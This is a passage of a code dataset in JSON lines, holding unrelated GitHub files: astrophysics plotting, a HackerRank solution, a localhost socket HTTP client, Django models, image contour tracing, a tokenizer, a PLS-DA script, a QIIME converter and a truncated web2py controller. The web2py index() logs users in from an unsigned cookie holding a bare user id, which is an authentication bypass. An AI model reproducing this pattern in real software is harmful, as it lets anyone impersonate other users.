self.cat_to_plot_celestial[:,2], c = self.p_cat_to_plot, marker = '.', alpha = 0.7, s = 0.5, cmap = 'Reds')\n        vol_str = ['${0:.0f}\\\\%'.format(100*self.levels[-i])+ '\\ \\mathrm{CR}:'+'{0:.0f}'.format(self.volumes[-i]) + '\\ \\mathrm{Mpc}^3$' for i in range(len(self.volumes))]\n        vol_str = '\\n'.join(vol_str + ['${0}'.format(len(self.cat_to_plot_celestial)) + '\\ \\mathrm{galaxies}\\ \\mathrm{in}\\ '+'{0:.0f}\\\\%'.format(100*self.levels[np.where(self.levels == self.region)][0])+ '\\ \\mathrm{CR}$'])\n        ax.text2D(0.05, 0.95, vol_str, transform=ax.transAxes)\n        ax.set_xlabel('$\\\\alpha$')\n        ax.set_ylabel('$\\\\delta$')\n        if final_map:\n            fig.savefig(Path(self.volume_folder, self.name+'_all.pdf'), bbox_inches = 'tight')\n            if self.next_plot < np.inf:\n                fig.savefig(Path(self.gif_folder, '3d_'+self.name+'_all.png'), bbox_inches = 'tight')\n        else:\n            fig.savefig(Path(self.volume_folder, self.name+'_{0}'.format(self.n_pts)+'.pdf'), bbox_inches = 'tight')\n            if self.next_plot < np.inf:\n                fig.savefig(Path(self.gif_folder, '3d_'+self.name+'_{0}'.format(self.n_pts)+'.png'), bbox_inches = 'tight')\n        plt.close()\n        \n        # 2D galaxy plot\n        if self.virtual_observatory:\n        # Limits for VO image\n            fig_b = plt.figure()\n            ax_b  = fig_b.add_subplot(111)\n            c = ax_b.scatter(self.sorted_cat[:,0][:-int(n_gals):-1]*180./np.pi, self.sorted_cat[:,1][:-int(n_gals):-1]*180./np.pi, c = self.sorted_p_cat_to_plot[:-int(n_gals):-1], marker = '+', cmap = 'coolwarm', linewidths = 1)\n            x_lim = ax_b.get_xlim()\n            y_lim = ax_b.get_ylim()\n            plt.close(fig_b)\n            fig = plt.figure()\n            # Download background\n            if self.true_host is not None:\n                pos = SkyCoord(self.true_host[0]*180./np.pi, self.true_host[1]*180./np.pi, unit = 'deg')\n            else:\n                pos = SkyCoord((x_lim[1]+x_lim[0])/2., (y_lim[1]+y_lim[0])/2., unit = 'deg')\n            size = (Quantity(4, unit = 'deg'), Quantity(6, unit = 'deg'))\n            ss = vo.regsearch(servicetype='image',waveband='optical', keywords=['SkyView'])[0]\n            sia_results = ss.search(pos=pos, size=size, intersect='overlaps', format='image/fits')\n            urls = [r.getdataurl() for r in sia_results]\n            for attempt in range(10):\n                # Download timeout\n                try:\n                    hdu = [fits.open(ff)[0] for ff in urls][0]\n                except socket.timeout:\n                    continue\n                else:\n                    break\n            wcs = WCS(hdu.header)\n            ax = fig.add_subplot(111, projection=wcs)\n            ax.imshow(hdu.data,cmap = 'gray')\n            ax.set_autoscale_on(False)\n            c = ax.scatter(self.sorted_cat[:,0][:-int(n_gals):-1]*180./np.pi, self.sorted_cat[:,1][:-int(n_gals):-1]*180./np.pi, c = self.sorted_p_cat_to_plot[:-int(n_gals):-1], marker = '+', cmap = 'coolwarm', linewidths = 0.5, transform=ax.get_transform('world'), zorder = 100)\n            c1 = ax.contour(self.ra_2d*180./np.pi, self.dec_2d*180./np.pi, self.log_p_skymap.T, np.sort(self.skymap_heights), colors = 'white', linewidths = 0.5, linestyles = 'solid', transform=ax.get_transform('world'), zorder = 99, alpha = 0)\n            if self.true_host is not None:\n                ax.scatter([self.true_host[0]*180./np.pi], [self.true_host[1]*180./np.pi], s=80, facecolors='none', edgecolors='g', label = '$\\mathrm{' + self.host_name + '}$', transform=ax.get_transform('world'), zorder = 101)\n            leg_col = 'white'\n        else:\n            fig = plt.figure()\n            ax = fig.add_subplot(111)\n            c = ax.scatter(self.sorted_cat[:,0][:-int(n_gals):-1], self.sorted_cat[:,1][:-int(n_gals):-1], c = self.sorted_p_cat_to_plot[:-int(n_gals):-1], marker = '+', cmap = 'coolwarm', linewidths = 1)\n            x_lim = ax.get_xlim()\n            y_lim = ax.get_ylim()\n            c1 = ax.contour(self.ra_2d, self.dec_2d, self.log_p_skymap.T, np.sort(self.skymap_heights), colors = 'black', linewidths = 0.5, linestyles = 'solid')\n            if self.true_host is not None:\n                ax.scatter([self.true_host[0]], [self.true_host[1]], s=80, facecolors='none', edgecolors='g', label = '$\\mathrm{' + self.host_name + '}$')\n            leg_col = 'black'\n        for i in range(len(self.areas)):\n            c1.collections[i].set_label('${0:.0f}\\\\%'.format(100*self.levels[-i])+ '\\ \\mathrm{CR}:'+'{0:.1f}'.format(self.areas[-i]) + '\\ \\mathrm{deg}^2$')\n        handles, labels = ax.get_legend_handles_labels()\n        if self.n_gal_to_plot == -1 or self.n_gal_to_plot == len(self.catalog):\n            lab_ngal = '${0}'.format(len(self.cat_to_plot_celestial)) + '\\ \\mathrm{galaxies}\\ \\mathrm{in}\\ '+'{0:.0f}\\\\%'.format(100*self.levels[np.where(self.levels == self.region)][0])+ '\\ \\mathrm{CR}$'\n        else:\n            lab_ngal = '${0}'.format(len(self.cat_to_plot_celestial)) + '\\ \\mathrm{galaxies}\\ \\mathrm{in}\\ '+'{0:.0f}\\\\%'.format(100*self.levels[np.where(self.levels == self.region)][0])+ '\\ \\mathrm{CR}$\\n'+'$({0}'.format(self.n_gal_to_plot)+'\\ \\mathrm{shown})$'\n        patch = mpatches.Patch(color='grey', label=lab_ngal, alpha = 0)\n        handles.append(patch)\n        plt.colorbar(c, label = '$p_{host}$')\n        ax.set_xlabel('$\\\\alpha$')\n        ax.set_ylabel('$\\\\delta$')\n        ax.set_xlim(x_lim)\n        ax.set_ylim(y_lim)\n        ax.legend(handles = handles, loc = 2, fontsize = 10, handlelength=0, labelcolor = leg_col)\n        if final_map:\n            fig.savefig(Path(self.skymap_folder, 'galaxies_'+self.name+'_all.pdf'), bbox_inches = 'tight')\n        else:\n            fig.savefig(Path(self.skymap_folder, 'galaxies_'+self.name+'_{0}'.format(self.n_pts)+'.pdf'), bbox_inches = 'tight')\n        plt.close()\n        \n    def make_gif(self):\n        \"\"\"\n        If the inference produced updated skymaps, join them into a single .gif file\n        \"\"\"\n        files = [f for f in self.gif_folder.glob('3d_'+self.name + '*' + '.png')]\n        if len(files) > 1:\n            path_files = [str(f) for f in files]\n            path_files.sort(key = natural_keys)\n            images = []\n            for file in path_files:\n                images.append(imageio.imread(file))\n            imageio.mimsave(Path(self.gif_folder, '3d_'+self.name + '.gif'), images, fps = 1)\n        [f.unlink() for f in files]\n        files = [f for f in self.gif_folder.glob(self.name + '*' + '.png')]\n        if len(files) > 1:\n            path_files = [str(f) for f in files]\n            path_files.sort(key = natural_keys)\n            images = []\n            for file in path_files:\n                images.append(imageio.imread(file))\n            imageio.mimsave(Path(self.gif_folder, self.name + '.gif'), images, fps = 1)\n        [f.unlink() for f in files]\n    \n    def make_entropy_plot(self):\n        \"\"\"\n        Produce entropy plot and angular coefficient plot, if entropy = True\n        \"\"\"\n        fig, ax = plt.subplots()\n        ax.plot(np.arange(len(self.R_S))*self.entropy_step, np.abs(self.R_S), color = 'steelblue', lw = 0.7)\n        ax.set_ylabel('$S(N)\\ [\\mathrm{bits}]$')\n        ax.set_xlabel('$N$')\n        \n        fig.savefig(Path(self.entropy_folder, self.name + '.pdf'), bbox_inches = 'tight')\n        plt.close()\n\n        fig, ax = plt.subplots()\n        ax.axhline(0, lw = 0.5, ls = '--', color = 'r')\n        ax.plot(np.arange(len(self.ac))*self.entropy_step + self.entropy_ac_step, self.ac, color = 'steelblue', lw = 0.7)\n        ax.set_ylabel('$\\\\frac{dS(N)}{dN}$')\n        ax.set_xlabel('$N$')\n        \n        fig.savefig(Path(self.entropy_folder, 'ang_coeff_'+self.name + '.pdf'), bbox_inches = 'tight')\n        plt.close()\n    \n    def save_density(self):\n        \"\"\"\n        Build and save density\n        \"\"\"\n        density = self.build_mixture()\n        with open(Path(self.density_folder, self.name + '_density.pkl'), 'wb') as dill_file:\n            dill.dump(density, dill_file)\n    \n    def volume_N_plot(self):\n        \"\"\"\n        Produce plot to show the evolution of credible area/volume with the number of samples\n        \"\"\"\n        output = [self.N]\n        header = 'N '\n        \n        fig, (ax_a, ax_v) = plt.subplots(2,1, sharex = True)\n        \n        for lev in self.levels:\n            vol = self.volumes_N[lev]\n            a   = self.areas_N[lev]\n            output.append(a)\n            output.append(vol)\n            header = header + 'A_{0:.0f} V_{0:.0f} '.format(lev*100)\n            \n            ax_a.plot(self.N, a/a[-1], marker = 's', ls = '--', label = '${0:.0f}\\%\\ '.format(lev*100)+'\\mathrm{CR}$')\n            ax_v.plot(self.N, vol/vol[-1], marker = 's', ls = '--', label = '${0:.0f}\\%\\ '.format(lev*100)+'\\mathrm{CR}$')\n        ax_v.set_ylabel('$V/V_{f}$')\n        ax_a.set_ylabel('$\\Omega/\\Omega_{f}$')\n        ax_v.set_xlabel('$N_{\\mathrm{samples}}$')\n        ax_a.set_xscale('log')\n        ax_v.set_yscale('log')\n        ax_a.set_yscale('log')\n        ax_a.legend(loc = 0, frameon = False, fontsize = 10)\n        ax_v.legend(loc = 0, frameon = False, fontsize = 10)\n        \n        fig.savefig(Path(self.CR_folder, self.name + '.pdf'), bbox_inches = 'tight')\n        np.savetxt(Path(self.CR_folder, self.name + '.txt'), np.array(output).T, header = header)\n        plt.close()\n        \n    def density_from_samples(self, samples):\n        \"\"\"\n        Reconstruct the probability density from a set of samples.\n        Samples must be in celestial coordinate and in the following order: [ra, dec, dist].\n        \n        Arguments:\n            iterable samples: set of volume samples\n        \"\"\"\n        np.random.shuffle(samples)\n        # Checking the posteriors are properly ordered:\n        check_ra   = np.logical_and(samples[:,0] > 0, samples[:,0] < 2*np.pi).all()\n        check_dec  = np.logical_and(samples[:,1] > -np.pi/2., samples[:,1] < np.pi/2.).all()\n        check_dist = np.logical_and(samples[:,2] > 0, samples[:,2] < self.max_dist).all()\n        if not (check_ra and check_dec and check_dist):\n            raise FIGAROException(\"Samples are not in [RA, dec, DL] order or one or more points are outside the [[0, 2π], [-π/2, π/2], [0,{0:.0f}]] boundaries\".format(self.max_dist))\n        self.ac_cntr = self.n_sign_changes\n        for i in tqdm(range(len(samples)), desc=self.name):\n            self.add_new_point(samples[i])\n            if self.entropy:\n                if i%self.entropy_step == 0:\n                    R_S = compute_entropy_single_draw(self, self.n_entropy_MC_draws)\n                    self.R_S.append(R_S)\n                    if self.n_pts//self.entropy_ac_step >= 1:\n                        ac = angular_coefficient(self.N_for_ac + self.n_pts, self.R_S[-self.entropy_ac_step:])\n                        if self.flag_skymap == False:\n                            try:\n                                if ac*self.ac[-1] < 0:\n                                    self.ac_cntr = self.ac_cntr - 1\n                            except IndexError: #Empty list\n                                pass\n                            if self.ac_cntr < 1:\n                                self.flag_skymap = True\n                                self.N.append(self.n_pts)\n                                self.make_skymap()\n                                self.make_volume_map(n_gals = self.n_gal_to_plot)\n                                if self.next_plot < np.inf:\n                                    self.next_plot = self.n_pts*2\n                        self.ac.append(ac)\n            else:\n                self.flag_skymap = True\n                        \n        self.save_density()\n        self.N.append(self.n_pts)\n        self.plot_samples(self.n_pts, initial_samples = samples)\n        self.make_skymap(final_map = True)\n        self.make_volume_map(final_map = True, n_gals = self.n_gal_to_plot)\n        if self.next_plot < np.inf:\n            self.make_gif()\n            self.volume_N_plot()\n        if self.entropy:\n            self.make_entropy_plot()\n        if self.true_host is not None:\n            self.compute_credible_levels_host()\n","repo_name":"sterinaldi/FIGARO","sub_path":"figaro/threeDvolume.py","file_name":"threeDvolume.py","file_ext":"py","file_size_in_byte":39731,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"}
+{"seq_id":"12583680513","text":"\n\n# Complete the findMergeNode function below.\n\n#\n# For your reference:\n#\n# SinglyLinkedListNode:\n#     int data\n#     SinglyLinkedListNode next\n#\n#\ndef findMergeNode(head1, head2):\n    nodes1 = []\n    while head1 != None:\n        nodes1.append(head1)\n        head1 = head1.next\n    while head2 not in nodes1:\n        head2 = head2.next\n    return head2.data\n\n","repo_name":"tomdom35/HackerRank","sub_path":"Find Merge Point of Two Linked Lists/Find Merge Point of Two Linked Lists.py","file_name":"Find Merge Point of Two Linked Lists.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"249481755","text":"#An HTTP request is made up of the following parts:\n\n#1 The request line (it's the first line) {Method Link HTTPVersion LineBreak}\n#2 Request headers (optional)\n#3 A blank line\n#4 Request body (optional)\n\n'''import requests\nfrom _thread import *\nimport threading\n\ndef get_method():\n    url = \"http://127.0.0.1:8000/index.html\"\n    response = requests.get(url)\n    print(response.content.decode())\n\ndef post_method():\n    data = {\"key1\": \"1\", \"key2\" : \"2\"}\n    url = \"http://127.0.0.1:8000/index.html\"\n    response = requests.post(url, data)\n    print(response.content.decode())\n\n#get_method()\npost_method()'''\n\n\n# Import socket module\nimport socket\nfrom _thread import *\nimport threading\nimport time\n  \n  \nclass Client():\n    # local host IP '127.0.0.1'\n    host = '127.0.0.1'\n  \n    # Define the port on which you want to connect\n    port = 8000\n  \n    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n  \n    # connect to server on local computer\n    s.connect((host,port))\n    \n    def get_method(self):\n        while True:\n            request = \"GET /index.html HTTP/1.1\"\n            # message sent to server\n            self.s.send(request.encode('ascii'))\n\n            # messaga received from server\n            data = self.s.recv(1024)\n\n            # print the received message\n            # here it would be a reverse of sent message\n            print(str(data.decode('ascii')).split(\"\\n\")[-1])\n            c = input(\"=======1-GET=========0-EXIT===========\")\n            if c == \"1\":\n                continue\n            else:\n                break\n\n\n    def post_method(self):\n        while True:\n            headers = \"\"\"POST /index.html HTTP/1.1\\r\n            Content-Type: {content_type}\\r\n            Content-Length: {content_length}\\r\n            Host: {host}\\r\n            Connection: close\\r\n            \\r\\n\"\"\"\n\n            body = 'key1=1&key2=2'                                 \n            body_bytes = body.encode('ascii')\n            header_bytes = headers.format(\n                content_type=\"application/x-www-form-urlencoded\",\n                content_length=len(body_bytes),\n                host=str(self.host) + \":\" + str(self.port)\n            ).encode('iso-8859-1')\n\n            payload = header_bytes + body_bytes\n\n            self.s.send(payload)\n            data = self.s.recv(1024)\n            count = 0\n            for line in str(data.decode('ascii')).split(\"\\n\"):\n                count += 1\n                if count >= 4:\n                    print(line)\n            c = input(\"=======1-POST=========0-EXIT===========\")\n            if c == \"1\":\n                continue\n            else:\n                break\n\n    def close_socket(self):\n        self.s.close()\n  \nif __name__ == '__main__':\n    client = Client()\n    client.post_method()\n    client.close_socket()","repo_name":"tsthien/Server-client-base-on-TCP-with-python","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5800689495","text":"from venv import create\nimport django\nfrom django.db import models\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass Question(models.Model):\n    author      = models.ForeignKey(User, on_delete=models.CASCADE) # on_delete = models.CASCADE는 계쩡이 삭제되면 이 계정이 작성한 질문은 다 삭제\n    subject     = models.CharField(max_length=200)\n    content     = models.TextField()\n    create_date = models.DateTimeField()\n\n    # id 값 대신 제목 표시\n    def __str__(self):\n        return self.subject\n\nclass Answer(models.Model):\n    author      = models.ForeignKey(User, on_delete=models.CASCADE)\n    question    = models.ForeignKey(Question, on_delete=models.CASCADE)     # Question 모델을 속성으로 가져가기 위해 ForeignKey, on_delete=models.CASCADE는 질문 삭제시 답변도 자동 삭제\n    content     = models.TextField()\n    create_date = models.DateTimeField()\n\n\n\n","repo_name":"srain0626/django_prac","sub_path":"mysite/pybo/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70897547893","text":"from PIL import Image\nimport math\n\nclass BackwardBoundaryTracing:\n    def __init__(self, photo):\n        link = \"../data/\"\n        self.img = Image.open(link + photo)\n        self.image = self.img.load()\n\n        self.cont = []\n        self.fone = []\n        self.height = self.img.size[1]\n        self.width = self.img.size[0]\n        self.path = [(-1, -1), (0, -1), (1, -1), (1, 0), (1, 1), (0, 1), (-1, 1), (-1, 0)]\n        self.end = None\n\n    def start(self):\n        self.tracing()\n        self.draw_countour()\n\n    def draw_countour(self):\n        img = Image.new('RGB', (self.width, self.height))\n\n        for pixel in self.cont:\n            img.putpixel(pixel, (255, 255, 255))\n        img.show()\n\n    def tracing(self):\n        active = self.find_start()\n        neighbour_c = self.search_clockwise(active)\n        neighbour_cc = self.search_cclockwise(active)\n        index = 0\n        while True:\n            if neighbour_c != neighbour_cc:\n                start = active\n                self.cont.append(start)\n                self.end = start\n                self.cont.append(neighbour_c)\n                active = neighbour_c\n                while active != self.end:\n                    pixik, x = self.search_clockwise(active, 1, index)\n                    active = pixik\n                    index = x\n                    if active not in self.cont and active not in self.fone:\n                        self.cont.append(active)\n                break\n            else:\n                while neighbour_c == neighbour_cc:\n                    self.fone.append(active)\n                    active = neighbour_c\n                    neighbour_c = self.search_clockwise(active)\n                    neighbour_cc = self.search_cclockwise(active)\n\n\n    def find_start(self):\n        for i in range(self.width):\n            for k in range(self.height):\n                if not BackwardBoundaryTracing.is_grey(self.image[i, k]) and self.image[i, k] not in self.fone:\n                    return (i, k)\n\n    def search_clockwise(self, pixel, check=None, k=0):\n        first, second = pixel\n        if check:\n            k = (k + 6) % 8\n            for i in range(k, len(self.path) + k):\n                try:\n                    if i > len(self.path) - 1:\n                        i -= len(self.path)\n                    if not BackwardBoundaryTracing.is_grey(self.image[first + self.path[i][0], second + self.path[i][1]]):\n                        if (len(self.cont) > 5 and (first + self.path[i][0], second + self.path[i][1]) == self.end) or (\n                                (first + self.path[i][0], second + self.path[i][1]) not in self.cont and (\n                            first + self.path[i][0], second + self.path[i][1]) not in self.fone):\n                            self.cont.append((first, second))\n                            return (first + self.path[i][0], second + self.path[i][1]), i\n                except IndexError:\n                    continue\n            pix = self.cont.pop()\n            self.fone.append(pix)\n            return self.cont[-1], 0\n        else:\n            for i in self.path:\n                try:\n                    if not BackwardBoundaryTracing.is_grey(self.image[first + i[0], second + i[1]]) and (first + i[0], second + i[1]) not in self.cont:\n                        return (first + i[0], second + i[1])\n                except IndexError:\n                    continue\n\n    def search_cclockwise(self, pixel):\n        first, second = pixel\n        for i in range(0, -8, -1):\n            try:\n                if not BackwardBoundaryTracing.is_grey(self.image[first + self.path[i][0], second + self.path[i][1]]):\n                    if (first + self.path[i][0], second + self.path[i][1]) not in self.cont:\n                        return (first + self.path[i][0], second + self.path[i][1])\n            except IndexError:\n                continue\n\n    @staticmethod\n    def is_grey(rgb):\n        return math.sqrt(rgb[0] ** 2 + rgb[1] ** 2 + rgb[2] ** 2) < 50\n","repo_name":"irynakostyshyn/BackwardBoundaryTracing","sub_path":"code/BackwardBoundaryTracing.py","file_name":"BackwardBoundaryTracing.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71356819254","text":"import re\nfrom ..core.inputscanner import InputScanner\nfrom ..core.token import Token\nfrom ..core.tokenstream import TokenStream\nfrom ..core.pattern import Pattern\nfrom ..core.whitespacepattern import WhitespacePattern\n\n__all__ = [\"TOKEN\", \"Tokenizer\", \"TokenizerPatterns\", \"TokenTypes\"]\n\n\nclass TokenTypes:\n    START = \"TK_START\"\n    RAW = \"TK_RAW\"\n    EOF = \"TK_EOF\"\n\n    def __init__(self):\n        pass\n\n\nTOKEN = TokenTypes()\n\n\nclass TokenizerPatterns:\n    def __init__(self, input_scanner):\n        self.whitespace = WhitespacePattern(input_scanner)\n\n\nclass Tokenizer:\n    def __init__(self, input_string, options):\n        self._input = InputScanner(input_string)\n        self._options = options\n        self.__tokens = None\n\n        self._patterns = TokenizerPatterns(self._input)\n\n    def tokenize(self):\n        self._input.restart()\n        self.__tokens = TokenStream()\n\n        current = None\n        previous = Token(TOKEN.START, \"\")\n        open_token = None\n        open_stack = []\n        comments = TokenStream()\n\n        while previous.type != TOKEN.EOF:\n            current = self.__get_next_token_with_comments(previous, open_token)\n\n            if self._is_opening(current):\n                open_stack.append(open_token)\n                open_token = current\n            elif open_token is not None and self._is_closing(current, open_token):\n                current.opened = open_token\n                open_token.closed = current\n                open_token = open_stack.pop()\n                current.parent = open_token\n\n            self.__tokens.add(current)\n            previous = current\n        return self.__tokens\n\n    def __get_next_token_with_comments(self, previous, open_token):\n        current = self._get_next_token(previous, open_token)\n\n        if self._is_comment(current):\n            comments = TokenStream()\n            while self._is_comment(current):\n                comments.add(current)\n                current = self._get_next_token(previous, open_token)\n\n            if not comments.isEmpty():\n                current.comments_before = comments\n                comments = TokenStream()\n\n        current.parent = open_token\n        current.previous = previous\n        previous.next = current\n\n        return current\n\n    def _is_first_token(self):\n        return self.__tokens.isEmpty()\n\n    def _reset(self):\n        pass\n\n    def _get_next_token(self, previous_token, open_token):\n        self._readWhitespace()\n        resulting_string = self._input.read(re.compile(r\".+\"))\n        if resulting_string:\n            return self._create_token(TOKEN.RAW, resulting_string)\n        else:\n            return self._create_token(TOKEN.EOF, \"\")\n\n    def _is_comment(self, current_token):\n        return False\n\n    def _is_opening(self, current_token):\n        return False\n\n    def _is_closing(self, current_token, open_token):\n        return False\n\n    def _create_token(self, token_type, text):\n        token = Token(\n            token_type,\n            text,\n            self._patterns.whitespace.newline_count,\n            self._patterns.whitespace.whitespace_before_token,\n        )\n        return token\n\n    def _readWhitespace(self):\n        return self._patterns.whitespace.read()\n","repo_name":"beautify-web/js-beautify","sub_path":"python/jsbeautifier/core/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","stars":8320,"dataset":"github-code","pt":"21"}
+{"seq_id":"27588877115","text":"## Script for performing PLS-DA and visualizing the results\r\n# Data should be found in this repository under:\r\n#              'data/SCLC_study_output_filtered_2.csv'\r\n#\r\n# PLS implementation form scikit-learn.cross_decomposition\r\n\r\n# Created on February 15, 2020\r\n# Author: Chris Avery\r\n\r\n#import preprocess as pre\r\nimport numpy as np\r\nimport loadTestData as load_data\r\nimport sklearn.preprocessing as pre\r\nfrom sklearn.cross_decomposition import PLSRegression as PLS\r\nfrom matplotlib import pyplot as plt\r\nfrom sklearn.model_selection import KFold\r\n\r\n##################### METHODS #####################\r\ndef plotProjectionScatterMultiClass(pc, resp, num_var):\r\n    plt.figure(figsize=(24, 18))\r\n    \r\n    for i in range(num_var):\r\n        for j in range(num_var):\r\n            plt.subplot(5,5,5*(i) + j + 1) \r\n            for c in range(resp.shape[1]):\r\n                inx = np.where(resp[:,c] == 1)[0]\r\n                tmp = pc[inx,:]\r\n                pc1 = tmp[:,i]\r\n                pc2 = tmp[:,j]\r\n                plt.scatter(pc1, pc2)\r\n            plt.xlabel(\"PLS Component \"+str(i+1))\r\n            plt.ylabel(\"PLS Component \"+str(j+1))\r\n            \r\n    plt.show()\r\n    \r\ndef getVIP(pls_model):\r\n    T = pls_model.x_scores_\r\n    W = pls_model.x_weights_\r\n    B = pls_model.x_rotations_\r\n    \r\n    p = pls_model.x_weights_.shape[0]\r\n    A = pls_model.x_weights_.shape[1]\r\n    n = pls_model.x_scores_.shape[0]\r\n    \r\n    vip = np.ndarray(p)\r\n    for j in range(p):\r\n        tmp1 = 0\r\n        tmp2 = 0\r\n        for a in range(A):\r\n            tmp1 = tmp1 + W[j,a]**2 * np.linalg.norm(B[:,a],2) * np.linalg.norm(T[:,a],2)\r\n            tmp2 = tmp2 + np.linalg.norm(B[:,a],2) * np.linalg.norm(T[:,a],2)\r\n        \r\n        vip[j] = tmp1/tmp2\r\n    \r\n    return vip\r\n\r\n##################### MAIN CODE #####################\r\n#### Load data into numpy array'\r\n# Keep pandas just for conveinience right now\r\ndata = load_data.loadDataPandas('../data/SCLC_study_output_filtered_2.csv')\r\nd = data.to_numpy()\r\nvar_index = data.columns.values.tolist()\r\n\r\n# vector of class responses associated with data\r\nresp = load_data.getResponseMatrix2D()\r\n\r\n#### Create object to normalize and un-normalize data\r\nnorm_trans = pre.StandardScaler().fit(d)\r\ndata_norm = norm_trans.transform(d)\r\n#data_norm, norm_trans = pre.mean_center(d) \r\n#In-built preprocessing method - TBD\r\n\r\n#### Fit a Partial Least Squaresn\r\ncrossval = KFold(n_splits=5)\r\ncv_2 = crossval.split(data_norm, resp)\r\n\r\ncv_accuracy = np.ndarray(5)\r\nmodels = list()\r\nvip = np.ndarray((5, 19))\r\niter = 0\r\nfor (train, test) in cv_2:\r\n    train = np.array(train)\r\n    test = np.array(test)\r\n    train_data = data_norm[train,:]\r\n    train_resp = resp[train,:]\r\n    test_data = data_norm[test,:]\r\n    test_resp = resp[test,:]\r\n    \r\n    models.append(PLS().fit(train_data, train_resp))\r\n    pls_comps = models.__getitem__(iter).transform(train_data)\r\n    \r\n    testing = models.__getitem__(iter).predict(test_data)\r\n    \r\n    tmp = np.sqrt(np.mean((testing - resp[test])**2))\r\n    cv_accuracy[iter] = tmp\r\n    #print(testing)\r\n    #print(resp[test])\r\n    #print(tmp)\r\n    \r\n    vip[iter, :] = getVIP(models.__getitem__(iter))\r\n    #print(vip)\r\n    \r\n    iter = iter + 1\r\n    \r\nfor i in range(5):\r\n    plot = plt.figure\r\n    plt.plot(vip[i, :])\r\n\r\n\r\n\r\n#plotProjectionScatterMultiClass(pls_trans, resp, 2)\r\n","repo_name":"rasmuserlemann/ADAP-ML","sub_path":"python_scripts/PLS_v2.py","file_name":"PLS_v2.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23654179233","text":"#!/usr/bin/python3\n# Converts readmap.uc file from otupipe.bash into QIIME OTU map.\n\n\n#OTU_PREFIX=\"OTU\"\n\nimport sys\nimport numpy as np\n\nUCFileName = sys.argv[1]\nFile = open(UCFileName)\n\n#n = len(OTU_PREFIX)\nOTUToReads = {}\nLineNr = 0\nwhile 1:\n\tLine = File.readline()\n\tif len(Line) == 0:\n\t\tbreak\n\tLine = Line.strip()\n\tLineNr += 1\n\tif Line[0] == '#':\n\t\tcontinue\n\tFields = Line.split(\"\\t\")\n\tif len(Fields) < 10:\n\t\tprint >> sys.stderr, \"Line %d in .uc file has < 10 fields\" % LineNr\n\t\tsys.exit(1)\n\n#\tif Fields[0] != 'H':\n#\t\tcontinue\n\tif Fields[9] == '*':\n\t\tFields[9] = Fields[8]\n\n\tReadLabel = Fields[8]\n#\tTargetLabel = Fields[9]\n\tOTU = Fields[9]\n\t\n#\tif not TargetLabel.startswith(OTU_PREFIX):\n#\t\tcontinue\n\t\n#\tnome = \"OTU\"\n#\tOTU = nome + (TargetLabel)\n\n\ttry:\n\t\tOTUToReads[OTU].append(ReadLabel)\n\texcept:\n\t\tOTUToReads[OTU] = [ ReadLabel ] # [ \"\" ]\n\nfor OTU in OTUToReads.keys():\n\tsys.stdout.write(str(OTU))\n\tall_reads=np.unique(OTUToReads[OTU])\n#\tall_reads=all_reads.remove('')\n#    if len(all_reads)>1:\n#\t\tprint(all_reads)\n\tfor ReadLabel in all_reads:\n\t\tif ReadLabel!=str(OTU):\n\t\t\tsys.stdout.write(\" \" + ReadLabel)\n\n\tsys.stdout.write(\"\\n\")\n","repo_name":"BPerezLamarque/HOME","sub_path":"tutorial_HOME/map2qiime.py","file_name":"map2qiime.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"7877487774","text":"# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## This is a sample controller\n## - index is the default action of any application\n## - user is required for authentication and authorization\n## - download is for downloading files uploaded in the db (does streaming)\n## - api is an example of Hypermedia API support and access control\n#########################################################################\n\ndef index():\n    \"\"\"\n    example action using the internationalization operator T and flash\n    rendered by views/default/index.html or views/generic.html\n\n    if you need a simple wiki simply replace the two lines below with:\n    return auth.wiki()\n    \"\"\"\n    if not auth.user:\n        if request.cookies.has_key('mycookie'):\n            value = request.cookies['mycookie'].value\n            value = int(value)\n            user = db.auth_user(value)\n            auth.login_user(user)\n            #redirect(URL('user'))\n        else:\n            redirect(URL('user'))\n    else:\n        response.cookies['mycookie'] = auth.user.id\n        response.cookies['mycookie']['expires'] = 24 * 3600\n        response.cookies['mycookie']['path'] = '/'\n    row_list = news()\n    return dict(message=T('Hello World'), row_list = row_list)\n\n\ndef user():\n    \"\"\"\n    exposes:\n    http://..../[app]/default/user/login\n    http://..../[app]/default/user/logout\n    http://..../[app]/default/user/register\n    http://..../[app]/default/user/profile\n    http://..../[app]/default/user/retrieve_password\n    http://..../[app]/default/user/change_password\n    http://..../[app]/default/user/manage_users (requires membership in\n    use @auth.requires_login()\n        @auth.requires_membership('group name')\n        @auth.requires_permission('read','table name',record_id)\n    to decorate functions that need access control\n    \"\"\"\n    row_list = news()\n    return dict(form=auth(), row_list = row_list)\n\n\n@cache.action()\ndef download():\n    \"\"\"\n    allows downloading of uploaded files\n    http://..../[app]/default/download/[filename]\n    \"\"\"\n    return response.download(request, db)\n\n\ndef call():\n    \"\"\"\n    exposes services. for example:\n    http://..../[app]/default/call/jsonrpc\n    decorate with @services.jsonrpc the functions to expose\n    supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv\n    \"\"\"\n    return service()\n\n\n@auth.requires_login() \ndef api():\n    \"\"\"\n    this is example of API with access control\n    WEB2PY provides Hypermedia API (Collection+JSON) Experimental\n    \"\"\"\n    from gluon.contrib.hypermedia import Collection\n    rules = {\n        '<tablename>': 